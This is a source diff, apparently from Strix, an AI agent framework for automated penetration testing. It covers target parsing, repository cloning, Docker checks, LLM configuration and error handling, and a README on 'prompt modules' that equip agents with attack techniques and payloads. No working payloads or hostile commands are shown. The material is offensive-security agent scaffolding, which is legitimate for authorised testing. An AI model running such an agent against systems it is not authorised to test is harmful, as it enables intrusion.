|
||||
details = first.get("details", {}) or {}
|
||||
original = first.get("original", "") or ""
|
||||
|
||||
if target_type == "web_application":
|
||||
url = details.get("target_url", original)
|
||||
try:
|
||||
parsed = urlparse(url)
|
||||
return str(parsed.netloc or parsed.path or url)
|
||||
except Exception: # noqa: BLE001
|
||||
return str(url)
|
||||
|
||||
if target_type == "repository":
|
||||
repo = details.get("target_repo", original)
|
||||
parsed = urlparse(repo)
|
||||
path = parsed.path or repo
|
||||
name = path.rstrip("/").split("/")[-1] or path
|
||||
if name.endswith(".git"):
|
||||
name = name[:-4]
|
||||
return str(name)
|
||||
|
||||
if target_type == "local_code":
|
||||
path_str = details.get("target_path", original)
|
||||
try:
|
||||
return str(Path(path_str).name or path_str)
|
||||
except Exception: # noqa: BLE001
|
||||
return str(path_str)
|
||||
|
||||
if target_type == "ip_address":
|
||||
return str(details.get("target_ip", original) or original)
|
||||
|
||||
return str(original or "pentest")
|
||||
|
||||
|
||||
def generate_run_name(targets_info: list[dict[str, Any]] | None = None) -> str:
|
||||
base_label = _derive_target_label_for_run_name(targets_info)
|
||||
slug = _slugify_for_run_name(base_label)
|
||||
|
||||
random_suffix = secrets.token_hex(2)
|
||||
|
||||
return f"{slug}_{random_suffix}"
|
||||
|
||||
|
||||
# Target processing utilities
|
||||
def infer_target_type(target: str) -> tuple[str, dict[str, str]]: # noqa: PLR0911
|
||||
if not target or not isinstance(target, str):
|
||||
raise ValueError("Target must be a non-empty string")
|
||||
|
||||
target = target.strip()
|
||||
|
||||
lower_target = target.lower()
|
||||
bare_repo_prefixes = (
|
||||
"github.com/",
|
||||
"www.github.com/",
|
||||
"gitlab.com/",
|
||||
"www.gitlab.com/",
|
||||
"bitbucket.org/",
|
||||
"www.bitbucket.org/",
|
||||
)
|
||||
if any(lower_target.startswith(p) for p in bare_repo_prefixes):
|
||||
return "repository", {"target_repo": f"https://{target}"}
|
||||
|
||||
parsed = urlparse(target)
|
||||
if parsed.scheme in ("http", "https"):
|
||||
if any(
|
||||
host in parsed.netloc.lower() for host in ["github.com", "gitlab.com", "bitbucket.org"]
|
||||
):
|
||||
return "repository", {"target_repo": target}
|
||||
return "web_application", {"target_url": target}
|
||||
|
||||
try:
|
||||
ip_obj = ipaddress.ip_address(target)
|
||||
except ValueError:
|
||||
pass
|
||||
else:
|
||||
return "ip_address", {"target_ip": str(ip_obj)}
|
||||
|
||||
path = Path(target).expanduser()
|
||||
try:
|
||||
if path.exists():
|
||||
if path.is_dir():
|
||||
resolved = path.resolve()
|
||||
return "local_code", {"target_path": str(resolved)}
|
||||
raise ValueError(f"Path exists but is not a directory: {target}")
|
||||
except (OSError, RuntimeError) as e:
|
||||
raise ValueError(f"Invalid path: {target} - {e!s}") from e
|
||||
|
||||
if target.startswith("git@") or target.endswith(".git"):
|
||||
return "repository", {"target_repo": target}
|
||||
|
||||
if "." in target and "/" not in target and not target.startswith("."):
|
||||
parts = target.split(".")
|
||||
if len(parts) >= 2 and all(p and p.strip() for p in parts):
|
||||
return "web_application", {"target_url": f"https://{target}"}
|
||||
|
||||
raise ValueError(
|
||||
f"Invalid target: {target}\n"
|
||||
"Target must be one of:\n"
|
||||
"- A valid URL (http:// or https://)\n"
|
||||
"- A Git repository URL (https://github.com/... or git@github.com:...)\n"
|
||||
"- A local directory path\n"
|
||||
"- A domain name (e.g., example.com)\n"
|
||||
"- An IP address (e.g., 192.168.1.10)"
|
||||
)
|
||||
|
||||
|
||||
def sanitize_name(name: str) -> str:
|
||||
sanitized = re.sub(r"[^A-Za-z0-9._-]", "-", name.strip())
|
||||
return sanitized or "target"
|
||||
|
||||
|
||||
def derive_repo_base_name(repo_url: str) -> str:
|
||||
if repo_url.endswith("/"):
|
||||
repo_url = repo_url[:-1]
|
||||
|
||||
if ":" in repo_url and repo_url.startswith("git@"):
|
||||
path_part = repo_url.split(":", 1)[1]
|
||||
else:
|
||||
path_part = urlparse(repo_url).path or repo_url
|
||||
|
||||
candidate = path_part.split("/")[-1]
|
||||
if candidate.endswith(".git"):
|
||||
candidate = candidate[:-4]
|
||||
|
||||
return sanitize_name(candidate or "repository")
|
||||
|
||||
|
||||
def derive_local_base_name(path_str: str) -> str:
|
||||
try:
|
||||
base = Path(path_str).resolve().name
|
||||
except (OSError, RuntimeError):
|
||||
base = Path(path_str).name
|
||||
return sanitize_name(base or "workspace")
|
||||
|
||||
|
||||
def assign_workspace_subdirs(targets_info: list[dict[str, Any]]) -> None:
|
||||
name_counts: dict[str, int] = {}
|
||||
|
||||
for target in targets_info:
|
||||
target_type = target["type"]
|
||||
details = target["details"]
|
||||
|
||||
base_name: str | None = None
|
||||
if target_type == "repository":
|
||||
base_name = derive_repo_base_name(details["target_repo"])
|
||||
elif target_type == "local_code":
|
||||
base_name = derive_local_base_name(details.get("target_path", "local"))
|
||||
|
||||
if base_name is None:
|
||||
continue
|
||||
|
||||
count = name_counts.get(base_name, 0) + 1
|
||||
name_counts[base_name] = count
|
||||
|
||||
workspace_subdir = base_name if count == 1 else f"{base_name}-{count}"
|
||||
|
||||
details["workspace_subdir"] = workspace_subdir
|
||||
|
||||
|
||||
def collect_local_sources(targets_info: list[dict[str, Any]]) -> list[dict[str, str]]:
|
||||
local_sources: list[dict[str, str]] = []
|
||||
|
||||
for target_info in targets_info:
|
||||
details = target_info["details"]
|
||||
workspace_subdir = details.get("workspace_subdir")
|
||||
|
||||
if target_info["type"] == "local_code" and "target_path" in details:
|
||||
local_sources.append(
|
||||
{
|
||||
"source_path": details["target_path"],
|
||||
"workspace_subdir": workspace_subdir,
|
||||
}
|
||||
)
|
||||
|
||||
elif target_info["type"] == "repository" and "cloned_repo_path" in details:
|
||||
local_sources.append(
|
||||
{
|
||||
"source_path": details["cloned_repo_path"],
|
||||
"workspace_subdir": workspace_subdir,
|
||||
}
|
||||
)
|
||||
|
||||
return local_sources
|
||||
|
||||
|
||||
# Repository utilities
|
||||
def clone_repository(repo_url: str, run_name: str, dest_name: str | None = None) -> str:
|
||||
console = Console()
|
||||
|
||||
git_executable = shutil.which("git")
|
||||
if git_executable is None:
|
||||
raise FileNotFoundError("Git executable not found in PATH")
|
||||
|
||||
temp_dir = Path(tempfile.gettempdir()) / "strix_repos" / run_name
|
||||
temp_dir.mkdir(parents=True, exist_ok=True)
|
||||
|
||||
if dest_name:
|
||||
repo_name = dest_name
|
||||
else:
|
||||
repo_name = Path(repo_url).stem if repo_url.endswith(".git") else Path(repo_url).name
|
||||
|
||||
clone_path = temp_dir / repo_name
|
||||
|
||||
if clone_path.exists():
|
||||
shutil.rmtree(clone_path)
|
||||
|
||||
try:
|
||||
with console.status(f"[bold cyan]Cloning repository {repo_url}...", spinner="dots"):
|
||||
subprocess.run( # noqa: S603
|
||||
[
|
||||
git_executable,
|
||||
"clone",
|
||||
repo_url,
|
||||
str(clone_path),
|
||||
],
|
||||
capture_output=True,
|
||||
text=True,
|
||||
check=True,
|
||||
)
|
||||
|
||||
return str(clone_path.absolute())
|
||||
|
||||
except subprocess.CalledProcessError as e:
|
||||
error_text = Text()
|
||||
error_text.append("❌ ", style="bold red")
|
||||
error_text.append("REPOSITORY CLONE FAILED", style="bold red")
|
||||
error_text.append("\n\n", style="white")
|
||||
error_text.append(f"Could not clone repository: {repo_url}\n", style="white")
|
||||
error_text.append(
|
||||
f"Error: {e.stderr if hasattr(e, 'stderr') and e.stderr else str(e)}", style="dim red"
|
||||
)
|
||||
|
||||
panel = Panel(
|
||||
error_text,
|
||||
title="[bold red]🛡️ STRIX CLONE ERROR",
|
||||
title_align="center",
|
||||
border_style="red",
|
||||
padding=(1, 2),
|
||||
)
|
||||
console.print("\n")
|
||||
console.print(panel)
|
||||
console.print()
|
||||
sys.exit(1)
|
||||
except FileNotFoundError:
|
||||
error_text = Text()
|
||||
error_text.append("❌ ", style="bold red")
|
||||
error_text.append("GIT NOT FOUND", style="bold red")
|
||||
error_text.append("\n\n", style="white")
|
||||
error_text.append("Git is not installed or not available in PATH.\n", style="white")
|
||||
error_text.append("Please install Git to clone repositories.\n", style="white")
|
||||
|
||||
panel = Panel(
|
||||
error_text,
|
||||
title="[bold red]🛡️ STRIX CLONE ERROR",
|
||||
title_align="center",
|
||||
border_style="red",
|
||||
padding=(1, 2),
|
||||
)
|
||||
console.print("\n")
|
||||
console.print(panel)
|
||||
console.print()
|
||||
sys.exit(1)
|
||||
|
||||
|
||||
# Docker utilities
|
||||
def check_docker_connection() -> Any:
|
||||
try:
|
||||
return docker.from_env()
|
||||
except DockerException:
|
||||
console = Console()
|
||||
error_text = Text()
|
||||
error_text.append("❌ ", style="bold red")
|
||||
error_text.append("DOCKER NOT AVAILABLE", style="bold red")
|
||||
error_text.append("\n\n", style="white")
|
||||
error_text.append("Cannot connect to Docker daemon.\n", style="white")
|
||||
error_text.append("Please ensure Docker is installed and running.\n\n", style="white")
|
||||
error_text.append("Try running: ", style="dim white")
|
||||
error_text.append("sudo systemctl start docker", style="dim cyan")
|
||||
|
||||
panel = Panel(
|
||||
error_text,
|
||||
title="[bold red]🛡️ STRIX STARTUP ERROR",
|
||||
title_align="center",
|
||||
border_style="red",
|
||||
padding=(1, 2),
|
||||
)
|
||||
console.print("\n", panel, "\n")
|
||||
raise RuntimeError("Docker not available") from None
|
||||
|
||||
|
||||
def image_exists(client: Any, image_name: str) -> bool:
|
||||
try:
|
||||
client.images.get(image_name)
|
||||
except ImageNotFound:
|
||||
return False
|
||||
else:
|
||||
return True
|
||||
|
||||
|
||||
def update_layer_status(layers_info: dict[str, str], layer_id: str, layer_status: str) -> None:
|
||||
if "Pull complete" in layer_status or "Already exists" in layer_status:
|
||||
layers_info[layer_id] = "✓"
|
||||
elif "Downloading" in layer_status:
|
||||
layers_info[layer_id] = "↓"
|
||||
elif "Extracting" in layer_status:
|
||||
layers_info[layer_id] = "📦"
|
||||
elif "Waiting" in layer_status:
|
||||
layers_info[layer_id] = "⏳"
|
||||
else:
|
||||
layers_info[layer_id] = "•"
|
||||
|
||||
|
||||
def process_pull_line(
|
||||
line: dict[str, Any], layers_info: dict[str, str], status: Any, last_update: str
|
||||
) -> str:
|
||||
if "id" in line and "status" in line:
|
||||
layer_id = line["id"]
|
||||
update_layer_status(layers_info, layer_id, line["status"])
|
||||
|
||||
completed = sum(1 for v in layers_info.values() if v == "✓")
|
||||
total = len(layers_info)
|
||||
|
||||
if total > 0:
|
||||
update_msg = f"[bold cyan]Progress: {completed}/{total} layers complete"
|
||||
if update_msg != last_update:
|
||||
status.update(update_msg)
|
||||
return update_msg
|
||||
|
||||
elif "status" in line and "id" not in line:
|
||||
global_status = line["status"]
|
||||
if "Pulling from" in global_status:
|
||||
status.update("[bold cyan]Fetching image manifest...")
|
||||
elif "Digest:" in global_status:
|
||||
status.update("[bold cyan]Verifying image...")
|
||||
elif "Status:" in global_status:
|
||||
status.update("[bold cyan]Finalizing...")
|
||||
|
||||
return last_update
|
||||
|
||||
|
||||
# LLM utilities
|
||||
def validate_llm_response(response: Any) -> None:
|
||||
if not response or not response.choices or not response.choices[0].message.content:
|
||||
raise RuntimeError("Invalid response from LLM")
|
||||
@@ -1,12 +1,15 @@
|
||||
import litellm
|
||||
|
||||
from .config import LLMConfig
|
||||
from .llm import LLM
|
||||
from .llm import LLM, LLMRequestFailedError
|
||||
|
||||
|
||||
__all__ = [
|
||||
"LLM",
|
||||
"LLMConfig",
|
||||
"LLMRequestFailedError",
|
||||
]
|
||||
|
||||
litellm._logging._disable_debugging()
|
||||
|
||||
litellm.drop_params = True
|
||||
|
||||
+4
-3
@@ -5,15 +5,16 @@ class LLMConfig:
|
||||
def __init__(
|
||||
self,
|
||||
model_name: str | None = None,
|
||||
temperature: float = 0,
|
||||
enable_prompt_caching: bool = True,
|
||||
prompt_modules: list[str] | None = None,
|
||||
timeout: int | None = None,
|
||||
):
|
||||
self.model_name = model_name or os.getenv("STRIX_LLM", "anthropic/claude-opus-4-1-20250805")
|
||||
self.model_name = model_name or os.getenv("STRIX_LLM", "openai/gpt-5")
|
||||
|
||||
if not self.model_name:
|
||||
raise ValueError("STRIX_LLM environment variable must be set and not empty")
|
||||
|
||||
self.temperature = max(0.0, min(1.0, temperature))
|
||||
self.enable_prompt_caching = enable_prompt_caching
|
||||
self.prompt_modules = prompt_modules or []
|
||||
|
||||
self.timeout = timeout or int(os.getenv("LLM_TIMEOUT", "600"))
|
||||
|
||||
+172
-17
@@ -2,6 +2,7 @@ import logging
|
||||
import os
|
||||
from dataclasses import dataclass
|
||||
from enum import Enum
|
||||
from fnmatch import fnmatch
|
||||
from pathlib import Path
|
||||
from typing import Any
|
||||
|
||||
@@ -28,6 +29,73 @@ api_key = os.getenv("LLM_API_KEY")
|
||||
if api_key:
|
||||
litellm.api_key = api_key
|
||||
|
||||
api_base = (
|
||||
os.getenv("LLM_API_BASE")
|
||||
or os.getenv("OPENAI_API_BASE")
|
||||
or os.getenv("LITELLM_BASE_URL")
|
||||
or os.getenv("OLLAMA_API_BASE")
|
||||
)
|
||||
if api_base:
|
||||
litellm.api_base = api_base
|
||||
|
||||
|
||||
class LLMRequestFailedError(Exception):
|
||||
def __init__(self, message: str, details: str | None = None):
|
||||
super().__init__(message)
|
||||
self.message = message
|
||||
self.details = details
|
||||
|
||||
|
||||
SUPPORTS_STOP_WORDS_FALSE_PATTERNS: list[str] = [
|
||||
"o1*",
|
||||
"grok-4-0709",
|
||||
"grok-code-fast-1",
|
||||
"deepseek-r1-0528*",
|
||||
]
|
||||
|
||||
REASONING_EFFORT_PATTERNS: list[str] = [
|
||||
"o1-2024-12-17",
|
||||
"o1",
|
||||
"o3",
|
||||
"o3-2025-04-16",
|
||||
"o3-mini-2025-01-31",
|
||||
"o3-mini",
|
||||
"o4-mini",
|
||||
"o4-mini-2025-04-16",
|
||||
"gemini-2.5-flash",
|
||||
"gemini-2.5-pro",
|
||||
"gpt-5*",
|
||||
"deepseek-r1-0528*",
|
||||
"claude-sonnet-4-5*",
|
||||
"claude-haiku-4-5*",
|
||||
]
|
||||
|
||||
|
||||
def normalize_model_name(model: str) -> str:
|
||||
raw = (model or "").strip().lower()
|
||||
if "/" in raw:
|
||||
name = raw.split("/")[-1]
|
||||
if ":" in name:
|
||||
name = name.split(":", 1)[0]
|
||||
else:
|
||||
name = raw
|
||||
if name.endswith("-gguf"):
|
||||
name = name[: -len("-gguf")]
|
||||
return name
|
||||
|
||||
|
||||
def model_matches(model: str, patterns: list[str]) -> bool:
|
||||
raw = (model or "").strip().lower()
|
||||
name = normalize_model_name(model)
|
||||
for pat in patterns:
|
||||
pat_l = pat.lower()
|
||||
if "/" in pat_l:
|
||||
if fnmatch(raw, pat_l):
|
||||
return True
|
||||
elif fnmatch(name, pat_l):
|
||||
return True
|
||||
return False
|
||||
|
||||
|
||||
class StepRole(str, Enum):
|
||||
AGENT = "agent"
|
||||
@@ -67,13 +135,19 @@ class RequestStats:
|
||||
|
||||
|
||||
class LLM:
|
||||
def __init__(self, config: LLMConfig, agent_name: str | None = None):
|
||||
def __init__(
|
||||
self, config: LLMConfig, agent_name: str | None = None, agent_id: str | None = None
|
||||
):
|
||||
self.config = config
|
||||
self.agent_name = agent_name
|
||||
self.agent_id = agent_id
|
||||
self._total_stats = RequestStats()
|
||||
self._last_request_stats = RequestStats()
|
||||
|
||||
self.memory_compressor = MemoryCompressor()
|
||||
self.memory_compressor = MemoryCompressor(
|
||||
model_name=self.config.model_name,
|
||||
timeout=self.config.timeout,
|
||||
)
|
||||
|
||||
if agent_name:
|
||||
prompt_dir = Path(__file__).parent.parent / "agents" / agent_name
|
||||
@@ -106,6 +180,31 @@ class LLM:
|
||||
else:
|
||||
self.system_prompt = "You are a helpful AI assistant."
|
||||
|
||||
def set_agent_identity(self, agent_name: str | None, agent_id: str | None) -> None:
|
||||
if agent_name:
|
||||
self.agent_name = agent_name
|
||||
if agent_id:
|
||||
self.agent_id = agent_id
|
||||
|
||||
def _build_identity_message(self) -> dict[str, Any] | None:
|
||||
if not (self.agent_name and str(self.agent_name).strip()):
|
||||
return None
|
||||
identity_name = self.agent_name
|
||||
identity_id = self.agent_id
|
||||
content = (
|
||||
"\n\n"
|
||||
"<agent_identity>\n"
|
||||
"<meta>Internal metadata: do not echo or reference; "
|
||||
"not part of history or tool calls.</meta>\n"
|
||||
"<note>You are now assuming the role of this agent. "
|
||||
"Act strictly as this agent and maintain self-identity for this step. "
|
||||
"Now go answer the next needed step!</note>\n"
|
||||
f"<agent_name>{identity_name}</agent_name>\n"
|
||||
f"<agent_id>{identity_id}</agent_id>\n"
|
||||
"</agent_identity>\n\n"
|
||||
)
|
||||
return {"role": "user", "content": content}
|
||||
|
||||
def _add_cache_control_to_content(
|
||||
self, content: str | list[dict[str, Any]]
|
||||
) -> str | list[dict[str, Any]]:
|
||||
@@ -173,7 +272,7 @@ class LLM:
|
||||
|
||||
return cached_messages
|
||||
|
||||
async def generate(
|
||||
async def generate( # noqa: PLR0912, PLR0915
|
||||
self,
|
||||
conversation_history: list[dict[str, Any]],
|
||||
scan_id: str | None = None,
|
||||
@@ -181,6 +280,10 @@ class LLM:
|
||||
) -> LLMResponse:
|
||||
messages = [{"role": "system", "content": self.system_prompt}]
|
||||
|
||||
identity_message = self._build_identity_message()
|
||||
if identity_message:
|
||||
messages.append(identity_message)
|
||||
|
||||
compressed_history = list(self.memory_compressor.compress_history(conversation_history))
|
||||
|
||||
conversation_history.clear()
|
||||
@@ -217,15 +320,50 @@ class LLM:
|
||||
tool_invocations=tool_invocations if tool_invocations else None,
|
||||
)
|
||||
|
||||
except (ValueError, TypeError, RuntimeError):
|
||||
logger.exception("Error in LLM generation")
|
||||
return LLMResponse(
|
||||
scan_id=scan_id,
|
||||
step_number=step_number,
|
||||
role=StepRole.AGENT,
|
||||
content="An error occurred while generating the response",
|
||||
tool_invocations=None,
|
||||
)
|
||||
except litellm.RateLimitError as e:
|
||||
raise LLMRequestFailedError("LLM request failed: Rate limit exceeded", str(e)) from e
|
||||
except litellm.AuthenticationError as e:
|
||||
raise LLMRequestFailedError("LLM request failed: Invalid API key", str(e)) from e
|
||||
except litellm.NotFoundError as e:
|
||||
raise LLMRequestFailedError("LLM request failed: Model not found", str(e)) from e
|
||||
except litellm.ContextWindowExceededError as e:
|
||||
raise LLMRequestFailedError("LLM request failed: Context too long", str(e)) from e
|
||||
except litellm.ContentPolicyViolationError as e:
|
||||
raise LLMRequestFailedError(
|
||||
"LLM request failed: Content policy violation", str(e)
|
||||
) from e
|
||||
except litellm.ServiceUnavailableError as e:
|
||||
raise LLMRequestFailedError("LLM request failed: Service unavailable", str(e)) from e
|
||||
except litellm.Timeout as e:
|
||||
raise LLMRequestFailedError("LLM request failed: Request timed out", str(e)) from e
|
||||
except litellm.UnprocessableEntityError as e:
|
||||
raise LLMRequestFailedError("LLM request failed: Unprocessable entity", str(e)) from e
|
||||
except litellm.InternalServerError as e:
|
||||
raise LLMRequestFailedError("LLM request failed: Internal server error", str(e)) from e
|
||||
except litellm.APIConnectionError as e:
|
||||
raise LLMRequestFailedError("LLM request failed: Connection error", str(e)) from e
|
||||
except litellm.UnsupportedParamsError as e:
|
||||
raise LLMRequestFailedError("LLM request failed: Unsupported parameters", str(e)) from e
|
||||
except litellm.BudgetExceededError as e:
|
||||
raise LLMRequestFailedError("LLM request failed: Budget exceeded", str(e)) from e
|
||||
except litellm.APIResponseValidationError as e:
|
||||
raise LLMRequestFailedError(
|
||||
"LLM request failed: Response validation error", str(e)
|
||||
) from e
|
||||
except litellm.JSONSchemaValidationError as e:
|
||||
raise LLMRequestFailedError(
|
||||
"LLM request failed: JSON schema validation error", str(e)
|
||||
) from e
|
||||
except litellm.InvalidRequestError as e:
|
||||
raise LLMRequestFailedError("LLM request failed: Invalid request", str(e)) from e
|
||||
except litellm.BadRequestError as e:
|
||||
raise LLMRequestFailedError("LLM request failed: Bad request", str(e)) from e
|
||||
except litellm.APIError as e:
|
||||
raise LLMRequestFailedError("LLM request failed: API error", str(e)) from e
|
||||
except litellm.OpenAIError as e:
|
||||
raise LLMRequestFailedError("LLM request failed: OpenAI error", str(e)) from e
|
||||
except Exception as e:
|
||||
raise LLMRequestFailedError(f"LLM request failed: {type(e).__name__}", str(e)) from e
|
||||
|
||||
@property
|
||||
def usage_stats(self) -> dict[str, dict[str, int | float]]:
|
||||
@@ -240,17 +378,34 @@ class LLM:
|
||||
"supported": supports_prompt_caching(self.config.model_name),
|
||||
}
|
||||
|
||||
def _should_include_stop_param(self) -> bool:
|
||||
if not self.config.model_name:
|
||||
return True
|
||||
|
||||
return not model_matches(self.config.model_name, SUPPORTS_STOP_WORDS_FALSE_PATTERNS)
|
||||
|
||||
def _should_include_reasoning_effort(self) -> bool:
|
||||
if not self.config.model_name:
|
||||
return False
|
||||
|
||||
return model_matches(self.config.model_name, REASONING_EFFORT_PATTERNS)
|
||||
|
||||
async def _make_request(
|
||||
self,
|
||||
messages: list[dict[str, Any]],
|
||||
) -> ModelResponse:
|
||||
completion_args = {
|
||||
completion_args: dict[str, Any] = {
|
||||
"model": self.config.model_name,
|
||||
"messages": messages,
|
||||
"temperature": self.config.temperature,
|
||||
"stop": ["</function>"],
|
||||
"timeout": self.config.timeout,
|
||||
}
|
||||
|
||||
if self._should_include_stop_param():
|
||||
completion_args["stop"] = ["</function>"]
|
||||
|
||||
if self._should_include_reasoning_effort():
|
||||
completion_args["reasoning_effort"] = "high"
|
||||
|
||||
queue = get_global_queue()
|
||||
response = await queue.make_request(completion_args)
|
||||
|
||||
@@ -284,7 +439,7 @@ class LLM:
|
||||
|
||||
try:
|
||||
cost = completion_cost(response) or 0.0
|
||||
except (ValueError, TypeError, RuntimeError) as e:
|
||||
except Exception as e: # noqa: BLE001
|
||||
logger.warning(f"Failed to calculate cost: {e}")
|
||||
cost = 0.0
|
||||
|
||||
@@ -306,5 +461,5 @@ class LLM:
|
||||
logger.info(f"Cache creation: {cache_creation_tokens} tokens written to cache")
|
||||
|
||||
logger.info(f"Usage stats: {self.usage_stats}")
|
||||
except (AttributeError, TypeError, ValueError) as e:
|
||||
except Exception as e: # noqa: BLE001
|
||||
logger.warning(f"Failed to update usage stats: {e}")
|
||||
|
||||
@@ -85,6 +85,7 @@ def _extract_message_text(msg: dict[str, Any]) -> str:
|
||||
def _summarize_messages(
|
||||
messages: list[dict[str, Any]],
|
||||
model: str,
|
||||
timeout: int = 600,
|
||||
) -> dict[str, Any]:
|
||||
if not messages:
|
||||
empty_summary = "<context_summary message_count='0'>{text}</context_summary>"
|
||||
@@ -106,10 +107,13 @@ def _summarize_messages(
|
||||
completion_args = {
|
||||
"model": model,
|
||||
"messages": [{"role": "user", "content": prompt}],
|
||||
"timeout": timeout,
|
||||
}
|
||||
|
||||
response = litellm.completion(**completion_args)
|
||||
summary = response.choices[0].message.content
|
||||
summary = response.choices[0].message.content or ""
|
||||
if not summary.strip():
|
||||
return messages[0]
|
||||
summary_msg = "<context_summary message_count='{count}'>{text}</context_summary>"
|
||||
return {
|
||||
"role": "assistant",
|
||||
@@ -143,9 +147,11 @@ class MemoryCompressor:
|
||||
self,
|
||||
max_images: int = 3,
|
||||
model_name: str | None = None,
|
||||
timeout: int = 600,
|
||||
):
|
||||
self.max_images = max_images
|
||||
self.model_name = model_name or os.getenv("STRIX_LLM", "anthropic/claude-opus-4-1-20250805")
|
||||
self.model_name = model_name or os.getenv("STRIX_LLM", "openai/gpt-5")
|
||||
self.timeout = timeout
|
||||
|
||||
if not self.model_name:
|
||||
raise ValueError("STRIX_LLM environment variable must be set and not empty")
|
||||
@@ -199,7 +205,7 @@ class MemoryCompressor:
|
||||
chunk_size = 10
|
||||
for i in range(0, len(old_msgs), chunk_size):
|
||||
chunk = old_msgs[i : i + chunk_size]
|
||||
summary = _summarize_messages(chunk, model_name)
|
||||
summary = _summarize_messages(chunk, model_name, self.timeout)
|
||||
if summary:
|
||||
compressed.append(summary)
|
||||
|
||||
|
||||
@@ -1,18 +1,41 @@
|
||||
import asyncio
|
||||
import logging
|
||||
import os
|
||||
import threading
|
||||
import time
|
||||
from typing import Any
|
||||
|
||||
import litellm
|
||||
from litellm import ModelResponse, completion
|
||||
from tenacity import retry, stop_after_attempt, wait_exponential
|
||||
from tenacity import retry, retry_if_exception, stop_after_attempt, wait_exponential
|
||||
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
def should_retry_exception(exception: Exception) -> bool:
|
||||
status_code = None
|
||||
|
||||
if hasattr(exception, "status_code"):
|
||||
status_code = exception.status_code
|
||||
elif hasattr(exception, "response") and hasattr(exception.response, "status_code"):
|
||||
status_code = exception.response.status_code
|
||||
|
||||
if status_code is not None:
|
||||
return bool(litellm._should_retry(status_code))
|
||||
return True
|
||||
|
||||
|
||||
class LLMRequestQueue:
|
||||
def __init__(self, max_concurrent: int = 6, delay_between_requests: float = 1.0):
|
||||
def __init__(self, max_concurrent: int = 6, delay_between_requests: float = 5.0):
|
||||
rate_limit_delay = os.getenv("LLM_RATE_LIMIT_DELAY")
|
||||
if rate_limit_delay:
|
||||
delay_between_requests = float(rate_limit_delay)
|
||||
|
||||
rate_limit_concurrent = os.getenv("LLM_RATE_LIMIT_CONCURRENT")
|
||||
if rate_limit_concurrent:
|
||||
max_concurrent = int(rate_limit_concurrent)
|
||||
|
||||
self.max_concurrent = max_concurrent
|
||||
self.delay_between_requests = delay_between_requests
|
||||
self._semaphore = threading.BoundedSemaphore(max_concurrent)
|
||||
@@ -38,8 +61,9 @@ class LLMRequestQueue:
|
||||
self._semaphore.release()
|
||||
|
||||
@retry( # type: ignore[misc]
|
||||
stop=stop_after_attempt(15),
|
||||
wait=wait_exponential(multiplier=1.2, min=1, max=300),
|
||||
stop=stop_after_attempt(7),
|
||||
wait=wait_exponential(multiplier=6, min=12, max=150),
|
||||
retry=retry_if_exception(should_retry_exception),
|
||||
reraise=True,
|
||||
)
|
||||
async def _reliable_request(self, completion_args: dict[str, Any]) -> ModelResponse:
|
||||
|
||||
@@ -1,3 +1,4 @@
|
||||
import html
|
||||
import re
|
||||
from typing import Any
|
||||
|
||||
@@ -36,6 +37,8 @@ def parse_tool_invocations(content: str) -> list[dict[str, Any]] | None:
|
||||
for param_match in param_matches:
|
||||
param_name = param_match.group(1)
|
||||
param_value = param_match.group(2).strip()
|
||||
|
||||
param_value = html.unescape(param_value)
|
||||
args[param_name] = param_value
|
||||
|
||||
tool_invocations.append({"toolName": fn_name, "args": args})
|
||||
|
||||
@@ -0,0 +1,64 @@
|
||||
# 📚 Strix Prompt Modules
|
||||
|
||||
## 🎯 Overview
|
||||
|
||||
Prompt modules are specialized knowledge packages that enhance Strix agents with deep expertise in specific vulnerability types, technologies, and testing methodologies. Each module provides advanced techniques, practical examples, and validation methods that go beyond baseline security knowledge.
|
||||
|
||||
---
|
||||
|
||||
## 🏗️ Architecture
|
||||
|
||||
### How Prompts Work
|
||||
|
||||
When an agent is created, it can load up to 5 specialized prompt modules relevant to the specific subtask and context at hand:
|
||||
|
||||
```python
|
||||
# Agent creation with specialized modules
|
||||
create_agent(
|
||||
task="Test authentication mechanisms in API",
|
||||
name="Auth Specialist",
|
||||
prompt_modules="authentication_jwt,business_logic"
|
||||
)
|
||||
```
|
||||
|
||||
The modules are dynamically injected into the agent's system prompt, allowing it to operate with deep expertise tailored to the specific vulnerability types or technologies required for the task at hand.
|
||||
|
||||
---
|
||||
|
||||
## 📁 Module Categories
|
||||
|
||||
| Category | Purpose |
|
||||
|----------|---------|
|
||||
| **`/vulnerabilities`** | Advanced testing techniques for core vulnerability classes like authentication bypasses, business logic flaws, and race conditions |
|
||||
| **`/frameworks`** | Specific testing methods for popular frameworks e.g. Django, Express, FastAPI, and Next.js |
|
||||
| **`/technologies`** | Specialized techniques for third-party services such as Supabase, Firebase, Auth0, and payment gateways |
|
||||
| **`/protocols`** | Protocol-specific testing patterns for GraphQL, WebSocket, OAuth, and other communication standards |
|
||||
| **`/cloud`** | Cloud provider security testing for AWS, Azure, GCP, and Kubernetes environments |
|
||||
| **`/reconnaissance`** | Advanced information gathering and enumeration techniques for comprehensive attack surface mapping |
|
||||
| **`/custom`** | Community-contributed modules for specialized or industry-specific testing scenarios |
|
||||
|
||||
---
|
||||
|
||||
## 🎨 Creating New Modules
|
||||
|
||||
### What Should a Module Contain?
|
||||
|
||||
A good prompt module is a structured knowledge package that typically includes:
|
||||
|
||||
- **Advanced techniques** - Non-obvious methods specific to the task and domain
|
||||
- **Practical examples** - Working payloads, commands, or test cases with variations
|
||||
- **Validation methods** - How to confirm findings and avoid false positives
|
||||
- **Context-specific insights** - Environment and version nuances, configuration-dependent behavior, and edge cases
|
||||
|
||||
Modules use XML-style tags for structure and focus on deep, specialized knowledge that significantly enhances agent capabilities for that specific context.
|
||||
|
||||
---
|
||||
|
||||
## 🤝 Contributing
|
||||
|
||||
Community contributions are more than welcome — contribute new modules via [pull requests](https://github.com/usestrix/strix/pulls) or [GitHub issues](https://github.com/usestrix/strix/issues) to help expand the collection and improve extensibility for Strix agents.
|
||||
|
||||
---
|
||||
|
||||
> [!NOTE]
|
||||
> **Work in Progress** - We're actively expanding the prompt module collection with specialized techniques and new categories.
|
||||
@@ -49,25 +49,21 @@ def generate_modules_description() -> str:
|
||||
if not available_modules:
|
||||
return "No prompt modules available"
|
||||
|
||||
description_parts = []
|
||||
all_module_names = get_all_module_names()
|
||||
|
||||
for category, modules in available_modules.items():
|
||||
modules_str = ", ".join(modules)
|
||||
description_parts.append(f"{category} ({modules_str})")
|
||||
if not all_module_names:
|
||||
return "No prompt modules available"
|
||||
|
||||
sorted_modules = sorted(all_module_names)
|
||||
modules_str = ", ".join(sorted_modules)
|
||||
|
||||
description = (
|
||||
